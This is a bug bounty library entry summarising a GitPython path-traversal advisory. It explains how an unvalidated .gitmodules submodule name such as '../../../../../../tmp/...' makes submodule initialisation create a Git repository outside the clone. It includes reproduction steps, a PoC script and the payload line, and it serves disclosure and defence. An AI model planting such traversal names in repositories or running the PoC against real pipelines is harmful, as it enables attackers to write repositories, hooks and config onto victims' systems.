# GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in GitPython

GitPython builds .git/modules/<name> from the unvalidated .gitmodules submodule name, letting a malicious repo create a full Git repository at an arbitrary filesystem path on submodule init.

- Payout: Research
- Severity: high
- Program: GitPython
- Found by: tinyb0y
- Disclosed: 2026-08-07
- CVE: CVE-2026-76222
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-hmq2-w58f-27jc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hmq2-w58f-27jc
- Tags: area:oss domain:oss impact:dos impact:integrity kind:research platform:ghsa sev:high tech:python technique:regression technique:source-review vuln:path-traversal

**Target:** GitPython library submodule initialization (.gitmodules parsing)
**Root cause:** sm_name() returns the .gitmodules section name unchecked; unlike path it is never tree-validated, and _module_abspath() joins it into .git/modules/<name> without normalizing ../, so os.makedirs and git clone --separate-git-dir write outside the clone dir.
**Steps:**
1. Craft attacker repo whose .gitmodules header is `[submodule "../../../../../../tmp/gitpython_poc_escaped_root/modules_dir"]` with path `legit_dir` and an attacker-controlled url.
2. Victim clones with `git.Repo.clone_from('/work/attacker_repo', CLONE_DIR)`.
3. Victim iterates `repo.submodules` and calls `sm.update(init=True)`.
4. GitPython joins parent git_dir + 'modules' + name, makedirs it, and runs `git clone --separate-git-dir=<escaped path>`; check `os.path.exists('/tmp/gitpython_poc_escaped_root')` -> True.
5. Control: real git CLI prints `warning: ignoring suspicious submodule name` and refuses.
**How found:** Reporter compared GitPython's independent reimplementation of submodule handling against core Git's CVE-2018-11235 fix and noticed the name field, unlike path, is never validated because it is not used for tree lookup.
**Exploitation:** Attacker hosts a repo with a traversal submodule name; when a victim (CI pipeline, IDE, dependency tooling) clones and runs submodule update --init via GitPython, a fully-initialized Git repository with attacker-controlled objects/refs/hooks/config is created at an attacker-chosen absolute path outside the working tree.
**Insight:** When a library reimplements logic that core tooling hardened after a known CVE, diff the two: fields the original validates for one purpose (tree lookup) may be reused for another (on-disk path) without the same check.

## Proof of concept (copied exactly from the original report)

**PoC script cloning attacker repo and updating submodules**

```
"""GHSA-001 PoC: GitPython side.

Clones the attacker repo and runs the equivalent of
`git submodule update --init` via GitPython, then checks whether a git
repository was created outside the clone directory.
"""
import os
import shutil

import git

CLONE_DIR = '/work/victim_clone/repo'
ESCAPE_TARGET = '/tmp/gitpython_poc_escaped_root'


def main():
    shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True)
    shutil.rmtree(ESCAPE_TARGET, ignore_errors=True)
    os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True)

    print(f'GitPython version: {git.__version__}')
    repo = git.Repo.clone_from('/work/attacker_repo', CLONE_DIR)
    print('Cloned into:', repo.working_tree_dir)

    sms = list(repo.submodules)
    for sm in sms:
        print('  submodule name:', repr(sm.name))
        print('  submodule path:', repr(sm.path))

    print('escape_target exists before update:', os.path.exists(ESCAPE_TARGET))

    for sm in sms:
        try:
            sm.update(init=True)
        except Exception as e:
            print('sm.update raised:', repr(e))

    exists = os.path.exists(ESCAPE_TARGET)
    print('escape_target exists after update:', exists)
    if exists:
        print('escape_target contents:', os.listdir(ESCAPE_TARGET))

    print('POC_RESULT=VULNERABLE' if exists else 'POC_RESULT=SAFE')
```

**Malicious .gitmodules submodule name traversal payload**

```
[submodule "legit_dir"]` to `[submodule "../../../../../../tmp/gitpython_poc_escaped_root/modules_dir"]
```

